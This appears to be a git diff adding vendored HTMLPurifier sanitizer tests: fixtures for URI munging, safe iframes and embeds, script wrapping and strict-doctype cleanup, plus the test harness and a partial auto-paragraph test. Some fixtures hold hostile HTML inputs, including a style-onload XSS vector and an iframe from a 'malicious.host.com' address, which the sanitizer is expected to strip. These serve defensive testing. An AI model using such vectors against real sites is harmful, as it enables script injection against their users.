diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-name-mix.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-name-mix.htmlt
new file mode 100644
index 000000000..a48da8e62
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-name-mix.htmlt
@@ -0,0 +1,11 @@
+--INI--
+Attr.EnableID = true
+--HTML--
+<a name="foo" id="foo">Test</a>
+<a name="foo">Test2</a>
+<a name="bar" id="baz">Test3</a>
+--EXPECT--
+<a name="foo" id="foo">Test</a>
+<a>Test2</a>
+<a name="bar" id="baz">Test3</a>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-list-loop.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-list-loop.htmlt
new file mode 100644
index 000000000..0a63e8955
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-list-loop.htmlt
@@ -0,0 +1,5 @@
+--HTML--
+<i><ul></ul></i>
+--EXPECT--
+<i></i><i></i>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-wraps-block.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-wraps-block.htmlt
new file mode 100644
index 000000000..da6bae689
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-wraps-block.htmlt
@@ -0,0 +1,5 @@
+--HTML--
+<a href="foo.html"><h1>Foobar</h1></a>
+--EXPECT--
+<a href="foo.html"></a><h1><a href="foo.html">Foobar</a></h1><a href="foo.html"></a>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/list-nesting.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/list-nesting.htmlt
new file mode 100644
index 000000000..944640099
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/list-nesting.htmlt
@@ -0,0 +1,7 @@
+--INI--
+Core.LexerImpl = DirectLex
+--HTML--
+<ul><li>Sublist 1</li><ul><li>Bullet</li></ul><li>Sublist 2</li><ol><li>Billet</li></ol></ul>
+--EXPECT--
+<ul><li>Sublist 1<ul><li>Bullet</li></ul></li><li>Sublist 2<ol><li>Billet</li></ol></li></ul>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/munge-extra.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/munge-extra.htmlt
new file mode 100644
index 000000000..9906155e5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/munge-extra.htmlt
@@ -0,0 +1,13 @@
+--SKIPIF--
+return !function_exists('hash_hmac');
+--INI--
+URI.Munge = "/redirect?s=%s&t=%t&r=%r&n=%n&m=%m&p=%p"
+URI.MungeSecretKey = "foo"
+URI.MungeResources = true
+--HTML--
+<a href="http://example.com">Link</a>
+<img src="http://example.com" style="background-image:url(http://example.com);" alt="example.com" />
+--EXPECT--
+<a href="/redirect?s=http%3A%2F%2Fexample.com&amp;t=c763c4a30204eee8470a3292e0f0cd91a639654d039d45f1495a50207847e954&amp;r=&amp;n=a&amp;m=href&amp;p=">Link</a>
+<img src="/redirect?s=http%3A%2F%2Fexample.com&amp;t=c763c4a30204eee8470a3292e0f0cd91a639654d039d45f1495a50207847e954&amp;r=1&amp;n=img&amp;m=src&amp;p=" style="background-image:url(&quot;/redirect?s=http%3A%2F%2Fexample.com&amp;t=c763c4a30204eee8470a3292e0f0cd91a639654d039d45f1495a50207847e954&amp;r=1&amp;n=img&amp;m=style&amp;p=background-image&quot;);" alt="example.com" />
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/munge.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/munge.htmlt
new file mode 100644
index 000000000..827c216e6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/munge.htmlt
@@ -0,0 +1,52 @@
+--INI--
+URI.Munge = "/r/%s"
+URI.AllowedSchemes = http,ftp,file
+--HTML--
+<a href="google.com">foo</a>
+<a href="/google.com">foo</a>
+<a href="//google.com">foo</a>
+<a href="///google.com">foo</a>
+<a href="////google.com">foo</a>
+
+<a href="http:google.com">foo</a>
+<a href="http:/google.com">foo</a>
+<a href="http://google.com">foo</a>
+<a href="http:///google.com">foo</a>
+<a href="http:////google.com">foo</a>
+
+<a href="ftp:google.com">foo</a>
+<a href="ftp:/google.com">foo</a>
+<a href="ftp://google.com">foo</a>
+<a href="ftp:///google.com">foo</a>
+<a href="ftp:////google.com">foo</a>
+
+<a href="file:google.com">foo</a>
+<a href="file:/google.com">foo</a>
+<a href="file://google.com">foo</a>
+<a href="file:///google.com">foo</a>
+<a href="file:////google.com">foo</a>
+--EXPECT--
+<a href="google.com">foo</a>
+<a href="/google.com">foo</a>
+<a href="/r/%2F%2Fgoogle.com">foo</a>
+<a href="/google.com">foo</a>
+<a>foo</a>
+
+<a href="google.com">foo</a>
+<a href="/google.com">foo</a>
+<a href="/r/http%3A%2F%2Fgoogle.com">foo</a>
+<a href="/google.com">foo</a>
+<a>foo</a>
+
+<a>foo</a>
+<a>foo</a>
+<a href="/r/ftp%3A%2F%2Fgoogle.com">foo</a>
+<a>foo</a>
+<a>foo</a>
+
+<a href="file:google.com">foo</a>
+<a href="file:/google.com">foo</a>
+<a href="file://google.com">foo</a>
+<a href="file:///google.com">foo</a>
+<a href="file:////google.com">foo</a>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/name.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/name.htmlt
new file mode 100644
index 000000000..1713ed417
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/name.htmlt
@@ -0,0 +1,6 @@
+--INI--
+Attr.EnableID = true
+HTML.Doctype = "XHTML 1.0 Strict"
+--HTML--
+<a name="asdf"></a>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-googlemaps.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-googlemaps.htmlt
new file mode 100644
index 000000000..40fac62d5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-googlemaps.htmlt
@@ -0,0 +1,8 @@
+--INI--
+HTML.SafeIframe = true
+URI.SafeIframeRegexp = "%^http://maps.google.com/%"
+--HTML--
+<iframe width="425" height="350" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="http://maps.google.com/?ie=UTF8&amp;ll=37.0625,-95.677068&amp;spn=24.455808,37.353516&amp;z=4&amp;output=embed"></iframe>
+--EXPECT--
+<iframe width="425" height="350" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="http://maps.google.com/?ie=UTF8&amp;ll=37.0625,-95.677068&amp;spn=24.455808,37.353516&amp;z=4&amp;output=embed"></iframe>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-invalid.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-invalid.htmlt
new file mode 100644
index 000000000..5b366da54
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-invalid.htmlt
@@ -0,0 +1,7 @@
+--INI--
+HTML.SafeIframe = true
+--HTML--
+<iframe src="http://www.example.com/"></iframe>
+--EXPECT--
+<iframe></iframe>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-youtube.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-youtube.htmlt
new file mode 100644
index 000000000..1abc2c827
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-youtube.htmlt
@@ -0,0 +1,8 @@
+--INI--
+HTML.SafeIframe = true
+URI.SafeIframeRegexp = "%^http://www.youtube.com/embed/%"
+--HTML--
+<iframe title="YouTube video player" width="480" height="390" src="http://www.youtube.com/embed/RVtEQxH7PWA" frameborder="0" allowfullscreen></iframe>
+--EXPECT--
+<iframe title="YouTube video player" width="480" height="390" src="http://www.youtube.com/embed/RVtEQxH7PWA" frameborder="0"></iframe>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe.htmlt
new file mode 100644
index 000000000..7c0b60d2f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe.htmlt
@@ -0,0 +1,14 @@
+--INI--
+HTML.SafeIframe = true
+URI.SafeIframeRegexp = "%(^http://www.example.com/|^https?://dev.example.com/)%"
+--HTML--
+<iframe src="http://www.example.com/"></iframe>
+<iframe src="http://malicious.host.com/?http://www.example.com/"></iframe>
+<iframe src="http://dev.example.com/"></iframe>
+<iframe src="https://dev.example.com/"></iframe>
+--EXPECT--
+<iframe src="http://www.example.com/"></iframe>
+<iframe></iframe>
+<iframe src="http://dev.example.com/"></iframe>
+<iframe src="https://dev.example.com/"></iframe>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed-munge.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed-munge.htmlt
new file mode 100644
index 000000000..e30edc37a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed-munge.htmlt
@@ -0,0 +1,12 @@
+--SKIPIF--
+return !function_exists('hash_hmac');
+--INI--
+HTML.SafeObject = true
+HTML.SafeEmbed = true
+URI.Munge = "/redirect.php?url=%s&check=%t"
+URI.MungeSecretKey = "foo"
+--HTML--
+<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/Oq3FV_zdyy0&hl=en"></param><embed src="http://www.youtube.com/v/Oq3FV_zdyy0&hl=en" type="application/x-shockwave-flash" width="425" height="344"></embed></object>
+--EXPECT--
+<object width="425" height="344" data="http://www.youtube.com/v/Oq3FV_zdyy0&amp;hl=en" type="application/x-shockwave-flash"><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /><param name="movie" value="http://www.youtube.com/v/Oq3FV_zdyy0&amp;hl=en" /><embed src="http://www.youtube.com/v/Oq3FV_zdyy0&amp;hl=en" type="application/x-shockwave-flash" width="425" height="344" allowscriptaccess="never" allownetworking="internal" /></object>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed.htmlt
new file mode 100644
index 000000000..f4bb0ff09
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed.htmlt
@@ -0,0 +1,8 @@
+--INI--
+HTML.SafeObject = true
+HTML.SafeEmbed = true
+--HTML--
+<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/Oq3FV_zdyy0&hl=en"></param><embed src="http://www.youtube.com/v/Oq3FV_zdyy0&hl=en" type="application/x-shockwave-flash" width="425" height="344"></embed></object>
+--EXPECT--
+<object width="425" height="344" data="http://www.youtube.com/v/Oq3FV_zdyy0&amp;hl=en" type="application/x-shockwave-flash"><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /><param name="movie" value="http://www.youtube.com/v/Oq3FV_zdyy0&amp;hl=en" /><embed src="http://www.youtube.com/v/Oq3FV_zdyy0&amp;hl=en" type="application/x-shockwave-flash" width="425" height="344" allowscriptaccess="never" allownetworking="internal" /></object>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-bare.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-bare.htmlt
new file mode 100644
index 000000000..f85c2fb5e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-bare.htmlt
@@ -0,0 +1,9 @@
+--INI--
+HTML.Trusted = true
+--HTML--
+<script type="text/javascript">alert("<This is compatible with XHTML>");</script>
+--EXPECT--
+<script type="text/javascript"><!--//--><![CDATA[//><!--
+alert("<This is compatible with XHTML>");
+//--><!]]></script>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-cdata.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-cdata.htmlt
new file mode 100644
index 000000000..e7d6d7f5b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-cdata.htmlt
@@ -0,0 +1,11 @@
+--INI--
+HTML.Trusted = true
+--HTML--
+<script type="text/javascript"><![CDATA[
+alert("<This is compatible with XHTML>");
+]]></script>
+--EXPECT--
+<script type="text/javascript"><!--//--><![CDATA[//><!--
+alert("<This is compatible with XHTML>");
+//--><!]]></script>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-comment.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-comment.htmlt
new file mode 100644
index 000000000..006901919
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-comment.htmlt
@@ -0,0 +1,11 @@
+--INI--
+HTML.Trusted = true
+--HTML--
+<script type="text/javascript"><!--
+alert("<This is compatible with XHTML>");
+//--></script>
+--EXPECT--
+<script type="text/javascript"><!--//--><![CDATA[//><!--
+alert("<This is compatible with XHTML>");
+//--><!]]></script>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-dbl-comment.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-dbl-comment.htmlt
new file mode 100644
index 000000000..ef899b597
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-dbl-comment.htmlt
@@ -0,0 +1,11 @@
+--INI--
+HTML.Trusted = true
+--HTML--
+<script type="text/javascript"><![CDATA[
+alert("<This is compatible with XHTML>");
+//]]></script>
+--EXPECT--
+<script type="text/javascript"><!--//--><![CDATA[//><!--
+alert("<This is compatible with XHTML>");
+//--><!]]></script>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-ideal.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-ideal.htmlt
new file mode 100644
index 000000000..70510687c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-ideal.htmlt
@@ -0,0 +1,11 @@
+--INI--
+HTML.Trusted = true
+--HTML--
+<script type="text/javascript"><!--//--><![CDATA[//><!--
+alert("<This is compatible with XHTML>");
+//--><!]]></script>
+--EXPECT--
+<script type="text/javascript"><!--//--><![CDATA[//><!--
+alert("<This is compatible with XHTML>");
+//--><!]]></script>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/secure-munge.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/secure-munge.htmlt
new file mode 100644
index 000000000..7c41cc9ce
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/secure-munge.htmlt
@@ -0,0 +1,12 @@
+--SKIPIF--
+return !function_exists('hash_hmac');
+--INI--
+URI.Munge = "/redirect.php?url=%s&check=%t"
+URI.MungeSecretKey = "foo"
+--HTML--
+<a href="http://localhost">foo</a>
+<img src="http://localhost" alt="local" />
+--EXPECT--
+<a href="/redirect.php?url=http%3A%2F%2Flocalhost&amp;check=c0efad89696082f5cb925d28636b0f4260f346391c92c70c8e9eba72591c2a73">foo</a>
+<img src="http://localhost" alt="local" />
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-preserve-yen.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-preserve-yen.htmlt
new file mode 100644
index 000000000..862ecd970
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-preserve-yen.htmlt
@@ -0,0 +1,8 @@
+--SKIPIF--
+if (!HTMLPurifier_Encoder::iconvAvailable()) return true;
+--INI--
+Core.Encoding = "Shift_JIS"
+Core.EscapeNonASCIICharacters = true
+--HTML--
+<b style="font-family:'&#165;';">111</b>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-remove-yen.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-remove-yen.htmlt
new file mode 100644
index 000000000..aae7598dd
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-remove-yen.htmlt
@@ -0,0 +1,9 @@
+--SKIPIF--
+if (!HTMLPurifier_Encoder::iconvAvailable()) return true;
+--INI--
+Core.Encoding = Shift_JIS
+--HTML--
+<b style="font-family:'&#165;';">111</b>
+--EXPECT--
+<b style="font-family:'';">111</b>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote-with-inline.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote-with-inline.htmlt
new file mode 100644
index 000000000..a6eb0ec66
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote-with-inline.htmlt
@@ -0,0 +1,7 @@
+--INI--
+HTML.Doctype = "XHTML 1.0 Strict"
+--HTML--
+<blockquote>Illegal <b>contents</b></blockquote>
+--EXPECT--
+<blockquote><p>Illegal <b>contents</b></p></blockquote>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote.htmlt
new file mode 100644
index 000000000..b61e8dc07
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote.htmlt
@@ -0,0 +1,7 @@
+--INI--
+HTML.Strict = true
+--HTML--
+<blockquote>Illegal contents</blockquote>
+--EXPECT--
+<blockquote><p>Illegal contents</p></blockquote>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-underline.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-underline.htmlt
new file mode 100644
index 000000000..a2e18b1c9
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-underline.htmlt
@@ -0,0 +1,7 @@
+--INI--
+HTML.Strict = true
+--HTML--
+<u>Illegal underline</u>
+--EXPECT--
+<span style="text-decoration:underline;">Illegal underline</span>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/style-onload.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/style-onload.htmlt
new file mode 100644
index 000000000..8782bdc60
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/style-onload.htmlt
@@ -0,0 +1,6 @@
+--INI--
+Core.CollectErrors = true
+--HTML--
+<style/onload = !-alert&#x28;1&#x29;>
+--EXPECT--
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/tidy-background.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/tidy-background.htmlt
new file mode 100644
index 000000000..08bda2678
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/tidy-background.htmlt
@@ -0,0 +1,5 @@
+--HTML--
+<table background="logo.png"><tr><td>asdf</td></tr></table>
+--EXPECT--
+<table style="background-image:url(&quot;logo.png&quot;);"><tr><td>asdf</td></tr></table>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments-required.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments-required.htmlt
new file mode 100644
index 000000000..62dc159d0
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments-required.htmlt
@@ -0,0 +1,6 @@
+--INI--
+HTML.Trusted = true
+--HTML--
+<ul><!-- Foo --></ul>
+--EXPECT--
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments-table.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments-table.htmlt
new file mode 100644
index 000000000..89d80febf
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments-table.htmlt
@@ -0,0 +1,5 @@
+--INI--
+HTML.Trusted = true
+--HTML--
+<table><!-- foo --><tr><td>Foo</td></tr></table>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments.htmlt
new file mode 100644
index 000000000..93b4a35a6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments.htmlt
@@ -0,0 +1,5 @@
+--INI--
+HTML.Trusted = true
+--HTML--
+<!-- Foobar -->
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/whitespace-preserve.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/whitespace-preserve.htmlt
new file mode 100644
index 000000000..861bddaf4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/whitespace-preserve.htmlt
@@ -0,0 +1,3 @@
+--HTML--
+Foo<b> </b>bar
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Harness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Harness.php
new file mode 100644
index 000000000..764c07799
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Harness.php
@@ -0,0 +1,117 @@
+<?php
+
+/**
+ * All-use harness, use this rather than SimpleTest's
+ */
+class HTMLPurifier_Harness extends UnitTestCase
+{
+
+ public function __construct($name = null)
+ {
+ parent::__construct($name);
+ }
+
+ /**
+ * @type HTMLPurifier_Config
+ */
+ protected $config;
+
+ /**
+ * @type HTMLPurifier_Context
+ */
+ protected $context;
+
+ /**
+ * @type HTMLPurifier
+ */
+ protected $purifier;
+
+ /**
+ * Generates easily accessible default config/context, as well as
+ * a convenience purifier for integration testing.
+ */
+ public function setUp()
+ {
+ list($this->config, $this->context) = $this->createCommon();
+ $this->config->set('Output.Newline', '
+');
+ $this->purifier = new HTMLPurifier();
+ }
+
+ /**
+ * Asserts a purification. Good for integration testing.
+ * @param string $input
+ * @param string $expect
+ */
+ public function assertPurification($input, $expect = null)
+ {
+ if ($expect === null) {
+ $expect = $input;
+ }
+ $result = $this->purifier->purify($input, $this->config);
+ $this->assertIdentical($expect, $result);
+ }
+
+
+ /**
+ * Accepts config and context and prepares them into a valid state
+ * @param &$config Reference to config variable
+ * @param &$context Reference to context variable
+ */
+ protected function prepareCommon(&$config, &$context)
+ {
+ $config = HTMLPurifier_Config::create($config);
+ if (!$context) {
+ $context = new HTMLPurifier_Context();
+ }
+ }
+
+ /**
+ * Generates default configuration and context objects
+ * @return Defaults in form of array($config, $context)
+ */
+ protected function createCommon()
+ {
+ return array(HTMLPurifier_Config::createDefault(), new HTMLPurifier_Context);
+ }
+
+ /**
+ * Normalizes a string to Unix (\n) endings
+ */
+ protected function normalize(&$string)
+ {
+ $string = str_replace(array("\r\n", "\r"), "\n", $string);
+ }
+
+ /**
+ * If $expect is false, ignore $result and check if status failed.
+ * Otherwise, check if $status if true and $result === $expect.
+ * @param $status Boolean status
+ * @param $result Mixed result from processing
+ * @param $expect Mixed expectation for result
+ */
+ protected function assertEitherFailOrIdentical($status, $result, $expect)
+ {
+ if ($expect === false) {
+ $this->assertFalse($status, 'Expected false result, got true');
+ } else {
+ $this->assertTrue($status, 'Expected true result, got false');
+ $this->assertIdentical($result, $expect);
+ }
+ }
+
+ public function getTests()
+ {
+ // __onlytest makes only one test get triggered
+ foreach (get_class_methods(get_class($this)) as $method) {
+ if (strtolower(substr($method, 0, 10)) == '__onlytest') {
+ $this->reporter->paintSkip('All test methods besides ' . $method);
+ return array($method);
+ }
+ }
+ return parent::getTests();
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/IDAccumulatorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/IDAccumulatorTest.php
new file mode 100644
index 000000000..530654874
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/IDAccumulatorTest.php
@@ -0,0 +1,40 @@
+<?php
+
+class HTMLPurifier_IDAccumulatorTest extends HTMLPurifier_Harness
+{
+
+ public function test()
+ {
+ // initialize the accumulator
+ $accumulator = new HTMLPurifier_IDAccumulator();
+
+ $this->assertTrue( $accumulator->add('id1'));
+ $this->assertTrue( $accumulator->add('id2'));
+ $this->assertFalse($accumulator->add('id1')); // repeated id
+
+ // you can also access the properties (they're public)
+ $this->assertTrue( isset($accumulator->ids['id2']) );
+
+ }
+
+ public function testLoad()
+ {
+ $accumulator = new HTMLPurifier_IDAccumulator();
+
+ $accumulator->load(array('id1', 'id2', 'id3'));
+
+ $this->assertFalse($accumulator->add('id1')); // repeated id
+ $this->assertTrue($accumulator->add('id4'));
+
+ }
+
+ public function testBuild()
+ {
+ $this->config->set('Attr.IDBlacklist', array('foo'));
+ $accumulator = HTMLPurifier_IDAccumulator::build($this->config, $this->context);
+ $this->assertTrue( isset($accumulator->ids['foo']) );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/AutoParagraphTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/AutoParagraphTest.php
new file mode 100644
index 000000000..440b09189
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/AutoParagraphTest.php
@@ -0,0 +1,577 @@
+<?php
+
+class HTMLPurifier_Injector_AutoParagraphTest extends HTMLPurifier_InjectorHarness
+{
+
+ public function setup()
+ {
+ parent::setup();
+ $this->config->set('AutoFormat.AutoParagraph', true);
+ }
+
+ public function testSingleParagraph()
+ {
+ $this->assertResult(
+ 'Foobar',
+ '<p>Foobar</p>'
+ );
+ }
+
+ public function testSingleMultiLineParagraph()
+ {
+ $this->assertResult(
+'Par 1
+Par 1 still',
+'<p>Par 1
+Par 1 still</p>'
+ );
+ }
+
+ public function testTwoParagraphs()
+ {
+ $this->assertResult(
+'Par1
+
+Par2',
+"<p>Par1</p>
+
+<p>Par2</p>"
+ );
+ }
+
+ public function testTwoParagraphsWithLotsOfSpace()
+ {
+ $this->assertResult(
+'Par1
+
+
+
+Par2',
+'<p>Par1</p>
+
+<p>Par2</p>'
+ );
+ }
+
+ public function testTwoParagraphsWithInlineElements()
+ {
+ $this->assertResult(
+'<b>Par1</b>
+
+<i>Par2</i>',
+'<p><b>Par1</b></p>
+
+<p><i>Par2</i></p>'
+ );
+ }
+
+ public function testSingleParagraphThatLooksLikeTwo()
+ {
+ $this->assertResult(
+'<b>Par1
+
+Par2</b>',
+'<p><b>Par1
+
+Par2</b></p>'
+ );
+ }
+
+ public function testAddParagraphAdjacentToParagraph()
+ {
+ $this->assertResult(
+ 'Par1<p>Par2</p>',
+'<p>Par1</p>
+
+<p>Par2</p>'
+ );
+ }
+
+ public function testParagraphUnclosedInlineElement()
+ {
+ $this->assertResult(
+ '<b>Par1',
+ '<p><b>Par1</b></p>'
+ );
+ }
+
+ public function testPreservePreTags()
+ {
+ $this->assertResult(
+'<pre>Par1
+
+Par1</pre>'
+ );
+ }
+
+ public function testIgnoreTrailingWhitespace()
+ {
+ $this->assertResult(
+'Par1
+
+ ',
+'<p>Par1</p>
+
+'
+ );
+ }
+
+ public function testDoNotParagraphBlockElements()
+ {
+ $this->assertResult(
+'Par1
+
+<div>Par2</div>
+
+Par3',
+'<p>Par1</p>
+
+<div>Par2</div>
+
+<p>Par3</p>'
+ );
+ }
+
+ public function testParagraphTextAndInlineNodes()
+ {
+ $this->assertResult(
+'Par<b>1</b>',
+ '<p>Par<b>1</b></p>'
+ );
